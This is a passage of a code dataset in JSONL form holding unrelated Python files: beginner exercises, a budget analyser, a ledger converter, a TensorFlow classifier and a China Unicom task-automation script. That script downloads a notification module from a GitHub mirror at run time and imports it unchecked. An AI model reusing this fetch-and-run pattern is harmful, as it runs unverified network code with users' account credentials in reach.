solution(v):\n answer = []\n l = {}\n r = {}\n for i in v:\n if i[0] not in l:\n l[i[0]] = 1\n else:\n del l[i[0]]\n if i[1] not in r:\n r[i[1]] = 1\n else:\n del r[i[1]]\n\n return [list(l)[0], list(r)[0]]\n\nv = [[1, 4], [3, 4], [3, 10]]\nprint(solution(v))\n# should print 1,10","sub_path":"Programmers/demo_test/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"174688776","text":"import csv\nimport os\n\ncsvpath = os.path.join('../', 'budget_data.csv')\nprofit_and_losses = []\nprofit_loss_diff = []\nbalance = 0\nmonths = []\ncsv_list = []\n\nwith open(csvpath, 'r', newline='') as csvfile:\n\n csvreader = csv.reader(csvfile, delimiter=',')\n csv_header = next(csvfile)\n # print(f\"Header: {csv_header}\")\n for row in csvreader:\n\n profit_and_losses.append(int(row[1]))\n balance += int(row[1])\n # save the months into a list\n months.append(row[0].split(\"-\"))\n # cast the file into a python list making the ProfitLoses an int\n csv_list.append([row[0], int(row[1])])\n\n# print(f\"months: {months}\")\nfor i in range(1, len(csv_list)):\n # calculate the profit change and append it along with its month\n profit_loss_diff.append(\n [csv_list[i][0], csv_list[i][1] - csv_list[i - 1][1]])\n\n# calculate the max increase in profits. Calculation made with lambda on\n# second item on the profit_loss_diff list, thus creating a list that\n# contains both the month the year and the amount\ngreatest_profit_increase = max(profit_loss_diff, key=lambda x: x[1])\n\n# calculate the max decrease in profits\ngreatest_profit_decrease = min(profit_loss_diff, key=lambda x: x[1])\n\n# calculate the average in profit change\navg = round(sum([x[1] for x in profit_loss_diff]) / len(profit_loss_diff), 2)\n\n# Create the summary of the Financial Analysis\nsummary = {\n \"title\": \"Financial Analysis\",\n \"underline\": \"-------------------------------------------------\",\n \"Total Months\": f\"{len(months)}\",\n \"Total\": f\"${balance}\",\n \"Average Change\": f\"${avg}\",\n \"Greatest Increase in Profits\": f\"{greatest_profit_increase[0]} ({greatest_profit_increase[1]})\",\n \"Greatest Decrease in Profits\": f\"{greatest_profit_decrease[0]} ({greatest_profit_decrease[1]})\"\n}\n\n# function that prints the report to the terminal\ndef financial_analysis(dict):\n print()\n for k, v in dict.items():\n if k == \"title\" or k == \"underline\":\n print(v)\n else:\n print(f\"{k}: {v}\")\n\n# run the function that prints report to the terminal\nfinancial_analysis(summary)\n# terminal print out matches the homework README\n\n# Financial Analysis\n# -------------------------------------------------\n# Total Months: 86\n# Total: $38382578\n# Average Change: $-2315.12\n# Greatest Increase in Profits: Feb-2012 (1926159)\n# Greatest Decrease in Profits: Sep-2013 (-2196167)\n\n# Open/create file in \"write\" mode ('w') and add the summary(analysis) to it\nfile1 = './FinancialAnalysis.txt'\nwith open(file1, 'w') as text:\n for k, v in summary.items():\n if k == \"title\" or k == \"underline\":\n text.writelines([v, \"\\n\"])\n else:\n text.writelines([k,\":\", \" \", v, \"\\n\"])\n\n\n","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"323603808","text":"\ndef remplacement_texte_fichier(fichier, texte):\n file = open(fichier, \"r\")\n content = file.read()\n content_modified = texte + content[24:]\n file.close()\n file = open(fichier, \"w\")\n file.write(content_modified)\n file.close()\n\nnom_fichier = input(\"Quel fichier voulez-vous modifier : \")\nmessage = input(\"Quel texte voulez-vous mettre : \")\nremplacement_texte_fichier(nom_fichier, message)\n","sub_path":"Exercices Python/Exercices Très Facile YTB/remplacer_txt_fichier.py","file_name":"remplacer_txt_fichier.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"124730947","text":"# -*- coding: utf-8 -*-\n\n'''\ncron: 16 6,16 * * * *\n变量: unicom_config_x,通知服务变量\n脚本内或环境变量填写,环境变量优先\n通知推送服务环境变量请查看:https://github.com/wuye999/myScripts/blob/main/send.md\n环境变量示例:\nexport unicom_config_1=\"手机号1<<<服务密码1<< 3:\n if user_list[3] and user_list[3] != '0' and user_list[3] != ' ' :\n user_dict['lotteryNum']=user_list[3]\n if len(user_list) > 4:\n if user_list[4] and user_list[4] != ' ' :\n user_dict['woEmail']=user_list[4]\n if len(user_list) > 5:\n if user_list[5] and user_list[5] != ' ' :\n user_dict['woEmail_password']=user_list[5] \n users.append(user_dict)\n return users\n except:\n logging.error('变量填写错误')\n\n#运行任务\ndef runTask(client, user):\n with os.scandir(os.path.abspath(os.path.dirname(__file__))+'/task') as entries:\n for entry in entries:\n if entry.is_file():\n if entry.name == '__init__.py':\n continue\n if entry.name == 'login.py':\n continue\n if entry.name == 'sendNotify.py':\n continue\n if entry.name == 'util.py':\n continue \n if entry.name == 'rsa':\n continue \n if entry.name == 'rsa-4.7.2.dist-info':\n continue \n if entry.name == '__pycache__':\n continue \n # if entry.name != 'everyday_way.py':\n # continue \n task_module = importlib.import_module('task.'+entry.name[:-3])\n task_class = getattr(task_module, entry.name[0:-3])\n task_obj = task_class()\n task_obj.run(client, user)\n\n# 通知服务\nclass sendNotice: \n def getsendNotify(self, a=1):\n try:\n url = 'https://mirror.ghproxy.com/https://raw.githubusercontent.com/wuye999/myScripts/main/sendNotify.py'\n response = requests.get(url,timeout=10)\n with open(scf_path('sendNotify.py'), \"w+\", encoding=\"utf-8\") as f:\n f.write(response.text)\n return\n except:\n pass\n if a < 5:\n a += 1\n return self.getsendNotify(a)\n\n def main(self,f=1):\n for n in range(3):\n try:\n from sendNotify import send,msg,initialize\n break\n except:\n self.getsendNotify()\n l=['BARK','SCKEY','TG_BOT_TOKEN','TG_USER_ID','TG_API_HOST','TG_PROXY_HOST','TG_PROXY_PORT','DD_BOT_TOKEN','DD_BOT_SECRET','Q_SKEY','QQ_MODE','QYWX_AM','PUSH_PLUS_TOKEN','PUSH_PLUS_USER']\n d={}\n for a in l:\n try:\n d[a]=eval(a)\n except:\n d[a]=''\n try:\n initialize(d)\n except:\n self.getsendNotify()\n if f < 5:\n f += 1\n return self.main(f)\n else:\n print('获取通知服务失败,请检查网络连接...')\n\n content = ''\n with open(scf_path('log.txt'), encoding='utf-8') as f:\n for line in f.readlines():\n content += line\n send('unicom_task',content)\n\n\n#腾讯云函数入口\ndef main_handler(event, context):\n users = readJson()\n for user in users:\n # 清空上一个用户的日志记录\n with open(scf_path('log.txt'),mode='w',encoding='utf-8') as f:\n pass\n global client\n client = login.login(user['username'],user['password'],user['appId'])\n #获取账户信息\n util.getIntegral(client)\n if client != False:\n runTask(client, user)\n if run_send=='yes':\n sendNotice().main()\n\n#主函数入口\nif __name__ == '__main__':\n main_handler(\"\",\"\")\n","sub_path":"unicom-task/unicom_index.py","file_name":"unicom_index.py","file_ext":"py","file_size_in_byte":7660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"575718974","text":"#! /usr/bin/env python\n# coding: UTF-8\n\nimport json\nimport argparse\nimport csv\nimport datetime\nimport os\nimport io\nimport sys\nfrom os import path\nimport locale\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8') \n\nlocale.setlocale(locale.LC_ALL, 'en_US.UTF-8')\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-m\", \"--mode\", dest=\"mode\", help=\"mode. spdb, cmb, futu\", metavar=\"LOCAL\")\nparser.add_argument(\"-f\", \"--file\", dest=\"file\", help=\"input file, json or csv\", metavar=\"LOCAL\")\noptions = parser.parse_args()\n\nwith open(path.join(sys.path[0], 'config.json'), encoding=\"UTF-8\") as fd:\n conf = json.loads(fd.read())\n\nCOMM_EXP_TMPL = \"\"\"%s * %s\n Liabilities:%s -%s CNY\n %s +%s CNY\n\"\"\"\n\nCOMM_EXP_UNKNOWN_TMPL = \"\"\"%s * %s\n Liabilities:%s -%s CNY\n Expenses:Unknown +%s CNY\n\"\"\"\n\nCOMM_REFUND_TMPL = \"\"\"%s * %s\n Assets:Unknown -%s CNY\n Liabilities:%s +%s CNY\n\"\"\"\n\nUS_BUY_TMPL = \"\"\"%s * \"%s\" #%s_SHARE\n Assets:Futu\n Assets:Futu +%d %s_SHARE @ %s USD\n Expenses:Commission +5 USD\n%s price %s_SHARE %s USD\n\"\"\"\n\nUS_SELL_TMPL = \"\"\"%s * \"%s\" #%s_SHARE\n Assets:Futu -%d %s_SHARE @ %s USD\n Assets:Futu \n Expenses:Commission +5 USD\n%s price %s_SHARE %s USD\n\"\"\"\n\nUS_SHORT_TMPL = \"\"\"%s * \"%s\" #%s_SHARE\n Liabilities:Futu -%s %s_SHARE @ %s USD\n Assets:Futu \n Expenses:Commission +5 USD\n%s price %s_SHARE %s USD\n\"\"\"\n\nUS_SHORT_CLOSE_TMPL = \"\"\"%s * \"%s\" #%s_SHARE\n Assets:Futu \n Liabilities:Futu +%s %s_SHARE @ %s USD\n Expenses:Commission +5 USD\n%s price %s_SHARE %s USD\n\"\"\"\n\ndef load_json(filename):\n fd = open(filename, 'r', encoding=\"UTF-8\")\n data = fd.read()\n js = json.loads(data)\n fd.close()\n return js\n\ndef load_csv(filename, is_strip_head=False):\n fd = open(filename, 'r', encoding=\"UTF-8\")\n csv_reader = csv.reader(fd, delimiter=',')\n records = []\n for row in csv_reader:\n records.append(tuple(row))\n return records[1:] if is_strip_head else records\n\ndef load_spdb(filename):\n \"\"\"\n Download XLS from https://ebill.spdbccc.com.cn/cloudbank-portal/myBillController/showIndex.action\n and export as CSV\n \"\"\"\n return load_csv(filename, is_strip_head=True)\n\ndef load_cmb(filename):\n \"\"\"\n Using https://tabula.technology to extract table from PDF.\n and export as CSV\n \"\"\"\n return load_csv(filename, is_strip_head=True)\n\ndef load_futu(filename):\n \"\"\"\n Extract data from https://my.futu5.com/account/history?ltype=2\n choose \"成交记录\"\n and export as CSV\n \"\"\"\n return load_csv(filename)\n\ndef build_records_spdb_legacy(mapping, record):\n for entry in mapping:\n if record['description'].upper().find(entry[0].upper()) != -1:\n return COMM_EXP_TMPL % (record['time'], record['description'] + ', ' + entry[1], conf['LB_SPDB_NAME'], record['amount'], entry[2], record['amount'])\n return COMM_EXP_UNKNOWN_TMPL % (record['time'], record['description'], conf['LB_SPDB_NAME'], record['amount'], record['amount'])\n\ndef build_records_spdb(mapping, record):\n def recipient_and_desc(recip, desc):\n return '\"%s\" \"%s\"' % (recip, desc) if recip else '\"%s\"' % desc\n\n time, _, description, card_no, _, _, amount = record\n time = datetime.datetime.strptime(time, \"%Y%m%d\")\n space_pos = description.find(' ')\n recipient = ''\n if space_pos != -1:\n recipient = description[:space_pos]\n description = description[space_pos + 1:]\n amount = locale.atof(amount)\n is_refund = True if amount < 0 else False\n abs_amount = abs(amount)\n time = time.strftime('%Y-%m-%d')\n if is_refund:\n return COMM_REFUND_TMPL % (time, recipient_and_desc(recipient, description), abs_amount, conf['LB_SPDB_NAME'], abs_amount)\n else:\n for entry in mapping:\n if description.upper().find(entry[0].upper()) != -1:\n return COMM_EXP_TMPL % (time, recipient_and_desc(recipient, '%s, %s' % (description, entry[1])), conf['LB_SPDB_NAME'], abs_amount, entry[2], abs_amount)\n return COMM_EXP_UNKNOWN_TMPL % (time, recipient_and_desc(recipient, description), conf['LB_SPDB_NAME'], abs_amount, abs_amount)\n\ndef build_records_cmb(mapping, record):\n def recipient_and_desc(recip, desc):\n return '\"%s\" \"%s\"' % (recip, desc) if recip else '\"%s\"' % desc\n\n time, _, description, amount, card_no, _, _ = record\n time = '0' + time\n time = datetime.datetime.strptime(time, \"%m%d\")\n time = time.replace(year=2019)\n sep_pos = description.find('-')\n recipient = ''\n if sep_pos != -1:\n recipient = description[:sep_pos]\n description = description[sep_pos + 1:]\n amount = locale.atof(amount)\n is_refund = True if amount < 0 else False\n abs_amount = abs(amount)\n time = time.strftime('%Y-%m-%d')\n if is_refund:\n return COMM_REFUND_TMPL % (time, recipient_and_desc(recipient, description), abs_amount, conf['LB_CMB_NAME'], abs_amount)\n else:\n for entry in mapping:\n if description.upper().find(entry[0].upper()) != -1:\n return COMM_EXP_TMPL % (time, recipient_and_desc(recipient, '%s, %s' % (description, entry[1])), conf['LB_CMB_NAME'], abs_amount, entry[2], abs_amount)\n return COMM_EXP_UNKNOWN_TMPL % (time, recipient_and_desc(recipient, description), conf['LB_CMB_NAME'], abs_amount, abs_amount)\n\ndef build_records_futu(record):\n dr, sym, name, price, amount, time = record\n time = datetime.datetime.strptime(time, \"%Y/%m/%d %H:%M:%S\")\n price = float(price)\n amount = int(amount)\n time = time.strftime('%Y-%m-%d')\n if dr == '卖出':\n return US_SELL_TMPL % (time, dr + ' ' + sym, sym, amount, sym, price, time, sym, price)\n elif dr == '买入':\n return US_BUY_TMPL % (time, dr + ' ' + sym, sym, amount, sym, price, time, sym, price)\n elif dr == '卖空':\n return US_SHORT_TMPL % (time, dr + ' ' + sym, sym, amount, sym, price, time, sym, price)\n else: # 平仓\n return US_SHORT_CLOSE_TMPL % (time, dr + ' ' + sym, sym, amount, sym, price, time, sym, price)\n\ndef print_spdb_legacy(mapping, records):\n # 废弃不再使用\n for record in records:\n if record['direction']:\n print(COMM_REFUND_TMPL % (record['time'], record['description'], record['amount'], conf['LB_SPDB_NAME'], record['amount']))\n else:\n print(build_records_spdb_legacy(mapping, record))\n\ndef print_futu(records):\n for record in records:\n print(build_records_futu(record))\n\ndef print_spdb(mapping, records):\n for record in records:\n print(build_records_spdb(mapping, record))\n\ndef print_cmb(mapping, records):\n for record in records:\n ret = build_records_cmb(mapping, record)\n locale.setlocale(locale.LC_ALL, '')\n # print(locale.getlocale())\n print(ret)\n\nif __name__ == '__main__':\n mapping = load_json(path.join(os.path.dirname(os.path.realpath(__file__)), 'mapping.json'))\n if options.mode == 'spdb':\n records = load_spdb(options.file)\n print_spdb(mapping, records)\n elif options.mode == 'cmb':\n records = load_cmb(options.file)\n print_cmb(mapping, records)\n elif options.mode == 'futu':\n records = load_futu(options.file)\n print_futu(records)\n\n","sub_path":"proc.py","file_name":"proc.py","file_ext":"py","file_size_in_byte":7479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"328693989","text":"'''\n # Summary\n\nDefination:\n This file will make a folder tree that will be storeded in a list\n\nTasks:\n 1. Listing all the directories\n\n\nex:\n Main Folder:\n -sub-folder\n --sub_SubFolder\n --sub_SubFolder\n -sub-folder\n --sub_SubFolder\n -sub-folder\n --sub_SubFolder\n --sub_SubFolder\n --sub_SubFolder\n\n'''\n\n# * Imports\nimport os\nfrom os import path\n\nrootdir = \"C:/Users/udit kumar/Desktop/Coding & Bowsers/Python Codes/Projects/_Notes Apps/Database\"\n# @ Defining\n\n\ndef PrintFolderTree(f_path, file_folder_only=0, file=[], folder=[]):\n \"\"\"\n This a recursive method so this will repeat itself\n\n Things done:\n 1. First looping though all the dir in the path\n 2. Making a path with the dir name\n 3. If the dir is a folder then we will recurse again but with the path that we defined earlier\n 4. If the dir is a file then we will print the dir with extension of choice\n 5. For cleaing we are index the level of folder heritage\n\n \"\"\"\n folder_listDir = os.listdir(f_path)\n\n for dir in folder_listDir:\n otherpath = path.join(f_path, dir)\n\n if path.isfile(otherpath):\n file.append(dir)\n os.chdir(rootdir)\n\n else:\n os.chdir(otherpath)\n\n folder.append(dir)\n PrintFolderTree(otherpath, file_folder_only, file, folder)\n\n if file_folder_only == 0:\n return(file)\n elif file_folder_only == 1:\n return(folder)\n else:\n return(file, folder)\n","sub_path":"Projects/Password Manager/FolderTree.py","file_name":"FolderTree.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"648496686","text":"import random\r\n\r\ncount = int(input(\"주사위를 던질 회수를 입력하세요 (100 이상): \"))\r\nif count >= 100:\r\n sum1 = 0\r\n sum2 = 0\r\n sum3 = 0\r\n sum4 = 0\r\n sum5 = 0\r\n sum6 = 0\r\n for i in range(count):\r\n num = random.randint(1, 6)\r\n if num == 1:\r\n sum1 += 1\r\n if num == 2:\r\n sum2 += 1\r\n if num == 3:\r\n sum3 += 1\r\n if num == 4:\r\n sum4 += 1\r\n if num == 5:\r\n sum5 += 1\r\n if num == 6:\r\n sum6 += 1\r\n print(\"주사위면 1: {0}회/{1}, 확률: {2}\".format(sum1, count, round(sum1 / count, 3)))\r\n print(\"주사위면 2: {0}회/{1}, 확률: {2}\".format(sum2, count, round(sum2 / count, 3)))\r\n print(\"주사위면 3: {0}회/{1}, 확률: {2}\".format(sum3, count, round(sum3 / count, 3)))\r\n print(\"주사위면 4: {0}회/{1}, 확률: {2}\".format(sum4, count, round(sum4 / count, 3)))\r\n print(\"주사위면 5: {0}회/{1}, 확률: {2}\".format(sum5, count, round(sum5 / count, 3)))\r\n print(\"주사위면 6: {0}회/{1}, 확률: {2}\".format(sum6, count, round(sum6 / count, 3)))\r\nelse:\r\n print(\"100 이상의 숫자를 입력하세요. 종료합니다.\")","sub_path":"Python_programming/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"515900330","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 18 10:31:51 2016\n\n@author: xlleee\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\n\ndef variable_summaries(var):\n with tf.name_scope('summaries'):\n mean = tf.reduce_mean(var)\n tf.summary.scalar('mean', mean)\n with tf.name_scope('stddev'):\n stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))\n tf.summary.scalar('stddev', stddev)\n tf.summary.scalar('max', tf.reduce_max(var))\n tf.summary.scalar('min', tf.reduce_min(var))\n tf.summary.histogram('histogram', var)\n\ndef add_layer(inputs, in_size, out_size, layer_name, activation_function=None):\n # add one more layer and return the output of this layer\n with tf.name_scope(layer_name):\n with tf.name_scope('weights'):\n Weights = tf.Variable(tf.random_normal([in_size, out_size]), name='W')\n variable_summaries(Weights)\n with tf.name_scope('biases'):\n biases = tf.Variable(tf.zeros([1, out_size]) + 0.1, name='b')\n variable_summaries(biases)\n with tf.name_scope('Wx_plus_b'):\n Wx_plus_b = tf.add(tf.matmul(inputs, Weights), biases)\n tf.summary.histogram('pre_activations', Wx_plus_b)\n if activation_function is None:\n outputs = Wx_plus_b\n else:\n outputs = activation_function(Wx_plus_b, )\n tf.summary.histogram('activations', outputs)\n return outputs\n \ndef add_dropout(inputs, keep_prob):\n with tf.name_scope('dropout'):\n tf.summary.scalar('dropout_keep_probability', keep_prob)\n return tf.nn.dropout(inputs, keep_prob)\n\ndef get_data():\n # read edb data from excel\n e_df_raw = pd.read_excel('edb.xlsx',header = 1,skiprows=[2],index_col=0)\n # wash data\n e_df = e_df_raw.iloc[213:-2] # 2004-06-30 to last date -1\n # normalize e_df\n nor_l = 12\n e_zscr_df = pd.DataFrame()\n for i in range(nor_l - 1,len(e_df)):\n e_zscr_df = e_zscr_df.append((e_df.iloc[i,:] - e_df.iloc[i-nor_l+1:i,:].mean()) / e_df.iloc[i-nor_l+1:i,:].std(),ignore_index=True)\n \n # read asset ret data from excel\n asset_df_raw = pd.read_excel('asset.xlsx',header = 1,skiprows=[2],index_col=0)\n asset_df = asset_df_raw.iloc[162+12:] # 2004-06-30 + 11month to last date\n # get asset ret\n asset_ret_df = (asset_df / asset_df.shift() - 1).iloc[1:]\n clock_df = pd.DataFrame(columns = ['equity', 'bond', 'commodity', 'cash'])\n for idx,row in asset_ret_df.iterrows():\n if row.max() < 0:\n clock_df = clock_df.append({'equity':0,'bond':0,'commodity':0,'cash':1},ignore_index = True)\n else:\n best_asset = row.index.values[row.values == row.max()][0]\n if best_asset == '上证综合指数:月':\n clock_df = clock_df.append({'equity':1,'bond':0,'commodity':0,'cash':0},ignore_index = True)\n if best_asset == '南华综合指数:月':\n clock_df = clock_df.append({'equity':0,'bond':0,'commodity':1,'cash':0},ignore_index = True)\n if best_asset == '中债综合指数:月':\n clock_df = clock_df.append({'equity':0,'bond':1,'commodity':0,'cash':0},ignore_index = True)\n return e_zscr_df,clock_df,asset_ret_df\n \ndef get_data_batch(xs,ys,train_pct = 80./100.):\n l = len(xs)\n train_d = np.random.random(l) < train_pct\n test_d = np.random.random(l) >= train_pct\n xs_train = xs[train_d,:]\n ys_train = ys[train_d,:]\n xs_test = xs[test_d,:]\n ys_test = ys[test_d,:]\n return xs_train.astype('float32'), ys_train.astype('float32'), xs_test.astype('float32'), ys_test.astype('float32')\n\n################### \n# start main part #\n###################\ne_df, clock_df, asset_df = get_data()\ntotal_xs = e_df.values.astype('float32')\ntotal_ys = clock_df.values.astype('float32')\ntrain_xs, train_ys, test_xs, test_ys = get_data_batch(total_xs,total_ys,0.7)\n\n# define placeholder for inputs to network\nxs = tf.placeholder(tf.float32, [None, 11]) # 11 edb data\nys = tf.placeholder(tf.float32, [None, 4])\nkeep_prob = tf.placeholder(tf.float32)\n\n# add hidden layer\nnodes = 70\nl1 = add_layer(xs, 11, nodes, 'layer1', activation_function=tf.nn.tanh)\nl1_d = add_dropout(l1, keep_prob)\nl2 = add_layer(l1_d, nodes, nodes, 'layer2', activation_function=tf.nn.tanh)\nl2_d = add_dropout(l2, keep_prob)\nl3 = add_layer(l2, nodes, nodes, 'layer3', activation_function=tf.nn.tanh)\nl3_d = add_dropout(l3, keep_prob)\n# add output layer\nprediction = add_layer(l3_d, nodes, 4, 'prediction',activation_function=tf.nn.softmax)\n\n# the error between prediction and real data\nwith tf.name_scope('cross_entropy'):\n with tf.name_scope('total'):\n cross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(prediction),\n reduction_indices=[1]))\ntf.summary.scalar('cross_entropy', cross_entropy) \n\nwith tf.name_scope('train'):\n train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\nwith tf.name_scope('accuracy'):\n with tf.name_scope('correct_prediction'):\n correct_prediction = tf.equal(tf.argmax(prediction,1), tf.argmax(test_ys,1))\n with tf.name_scope('accuracy'):\n accuracy = accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\ntf.summary.scalar('accuracy', accuracy)\n\nmerged = tf.summary.merge_all()\n\nsess = tf.Session()\n\ntrain_writer = tf.train.SummaryWriter('/train',sess.graph)\ntest_writer = tf.train.SummaryWriter('/test')\n\nsess.run(tf.global_variables_initializer())\n\nk_p = 0.8\nfor i in range(4000):\n if i % 50 == 0:\n summary, acc = sess.run([merged, accuracy], feed_dict={xs: test_xs, ys:test_ys, keep_prob: 1.0})\n test_writer.add_summary(summary, i)\n print('Accuracy at step %s: %s' % (i,acc))\n else:\n summary = sess.run([merged,train_step], feed_dict={xs: train_xs, ys: train_ys, keep_prob: k_p})\n train_writer.add_summary(summary, i)\n ","sub_path":"dl_clock_chart.py","file_name":"dl_clock_chart.py","file_ext":"py","file_size_in_byte":5969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"444473348","text":"\n_meta_shell_command = 'qexpo'\n\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n\n parser.add_argument('numbers', nargs='+')\n parser.add_argument('-f', '--file', type=str)\n \n args = parser.parse_args()\n \n lst = args.numbers\n \n assert len(lst) == 2\n \n a = int(lst[0])\n b = int(lst[1])\n \n r = a**b\n \n if args.file is not None:\n fh = open(args.file, 'wb')\n fh.write(str(r).encode('ASCII'))\n fh.close()\n \n print(r)\n ","sub_path":"shell_ext/qexpo.py","file_name":"qexpo.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"535207733","text":"# Задание-1: Решите задачу (дублированную ниже):\n\n# Дана ведомость расчета заработной платы (файл \"data/workers\").\n# Рассчитайте зарплату всех работников, зная что они получат полный оклад,\n# если отработают норму часов. Если же они отработали меньше нормы,\n# то их ЗП уменьшается пропорционально, а за заждый час переработки они получают\n# удвоенную ЗП, пропорциональную норме.\n# Кол-во часов, которые были отработаны, указаны в файле \"data/hours_of\"\n\n# С использованием классов.\n# Реализуйте классы сотрудников так, чтобы на вход функции-конструктора\n# каждый работник получал строку из файла\nclass Worker:\n def __init__(self, name, surname, doljnost, oklad, norma, otrabotano):\n self.name = name\n self.surname = surname\n self.doljnost = doljnost\n self.oklad = oklad\n self.norma = norma\n self.otrabotano = otrabotano\n\n def okl_v_chas(self):\n oklad_v_chas = self.oklad // self.norma\n return oklad_v_chas\n self.okl_v_chas = okl_v_chas\n\n def polychka(self):\n if self.norma < self.otrabotano:\n polychit = abs(self.otrabotano - self.norma) * (self.okl_v_chas() *2) + self.oklad\n return polychit\n \n# self.okl_v_chas = okl_v_chas\n\n if self.norma > self.otrabotano:\n polychit = self.oklad - (self.norma - self.otrabotano) * self.okl_v_chas() \n return polychit\n \n \nrab1 = Worker (\"Петр\", \"Алексеев\", \"прораб\", 22000, 140, 120 )\nrab2 = Worker (\"Василий\", \"Иванов\", \"плотник\", 18000, 150, 180)\nrab3 = Worker (\"Матвей\", \"Бурин\", \"директор\", 42000, 150, 160)\nprint (\"{} {} получит: {}\".format(rab1.name, rab1.surname, rab1.polychka()))\nprint (\"{} {} получит: {}\".format(rab2.name, rab2.surname, rab2.polychka()))\nprint (\"{} {} получит: {}\".format(rab3.name, rab3.surname, rab3.polychka()))\n\n\n","sub_path":"lesson06/home_work/hw06_hard.py","file_name":"hw06_hard.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"569400799","text":"class Solution:\n def romanToInt(self, s: str) -> int:\n dictionary = {\"I\":1,\"V\":5,\"X\":10,\"L\":50,\"C\":100,\"D\":500,\"M\":1000}\n max_until_now=0 \n total = 0\n for l in reversed(s):\n number = dictionary[l]\n if number>=max_until_now:\n max_until_now = number\n total+=number\n else:\n total-=number\n return total\n \n \n","sub_path":"leetcode/easy/roman-to-integer.py","file_name":"roman-to-integer.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"489682464","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/hanzz/releases/odcs/server/tests/test_pungi_compose.py\n# Compiled at: 2019-01-28 02:13:22\nimport six, unittest\nfrom mock import patch\nfrom odcs.server.pungi_compose import PungiCompose\nRPMS_JSON = {'header': {'type': 'productmd.rpms', \n 'version': '1.2'}, \n 'payload': {'compose': {'date': '20181210', \n 'id': 'odcs-691-1-20181210.n.0', \n 'respin': 0, \n 'type': 'nightly'}, \n 'rpms': {'Temporary': {'x86_64': {'flatpak-rpm-macros-0:29-6.module+125+c4f5c7f2.src': {'flatpak-rpm-macros-0:29-6.module+125+c4f5c7f2.src': {'category': 'source', \n 'path': 'Temporary/source/tree/Packages/f/flatpak-rpm-macros-29-6.module+125+c4f5c7f2.src.rpm', \n 'sigkey': None}, \n 'flatpak-rpm-macros-0:29-6.module+125+c4f5c7f2.x86_64': {'category': 'binary', \n 'path': 'Temporary/x86_64/os/Packages/f/flatpak-rpm-macros-29-6.module+125+c4f5c7f2.x86_64.rpm', \n 'sigkey': None}}, \n 'flatpak-runtime-config-0:29-4.module+125+c4f5c7f2.src': {'flatpak-runtime-config-0:29-4.module+125+c4f5c7f2.src': {'category': 'source', \n 'path': 'Temporary/source/tree/Packages/f/flatpak-runtime-config-29-4.module+125+c4f5c7f2.src.rpm', \n 'sigkey': 'sigkey1'}, \n 'flatpak-runtime-config-0:29-4.module+125+c4f5c7f2.x86_64': {'category': 'binary', \n 'path': 'Temporary/x86_64/os/Packages/f/flatpak-runtime-config-29-4.module+125+c4f5c7f2.x86_64.rpm', \n 'sigkey': 'sigkey1'}}}}}}}\n\n@patch('odcs.server.pungi_compose.PungiCompose._fetch_json')\nclass TestPungiCompose(unittest.TestCase):\n\n def test_get_rpms_data(self, fetch_json):\n fetch_json.return_value = RPMS_JSON\n compose = PungiCompose('http://localhost/compose/Temporary')\n data = compose.get_rpms_data()\n expected = {'sigkeys': set(['sigkey1', None]), \n 'arches': set(['x86_64']), \n 'builds': {'flatpak-rpm-macros-29-6.module+125+c4f5c7f2': set([\n 'flatpak-rpm-macros-0:29-6.module+125+c4f5c7f2.src',\n 'flatpak-rpm-macros-0:29-6.module+125+c4f5c7f2.x86_64']), \n 'flatpak-runtime-config-29-4.module+125+c4f5c7f2': set([\n 'flatpak-runtime-config-0:29-4.module+125+c4f5c7f2.src',\n 'flatpak-runtime-config-0:29-4.module+125+c4f5c7f2.x86_64'])}}\n self.assertEqual(data, expected)\n return\n\n def test_get_rpms_data_unknown_variant(self, fetch_json):\n fetch_json.return_value = RPMS_JSON\n msg = 'The http://localhost/compose/metadata/rpms.json does not contain payload -> rpms -> Workstation section'\n with six.assertRaisesRegex(self, ValueError, msg):\n compose = PungiCompose('http://localhost/compose/Workstation')\n compose.get_rpms_data()","sub_path":"pycfiles/odcs-0.2.45.tar/test_pungi_compose.py","file_name":"test_pungi_compose.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"576364280","text":"import re\n\nimport feedparser\n\n\n# 返回一个RSS订阅源的标题和包含单词计数情况的字典\ndef get_words_counts(url):\n # 解析订阅源\n d = feedparser.parse(url)\n wc = {}\n # 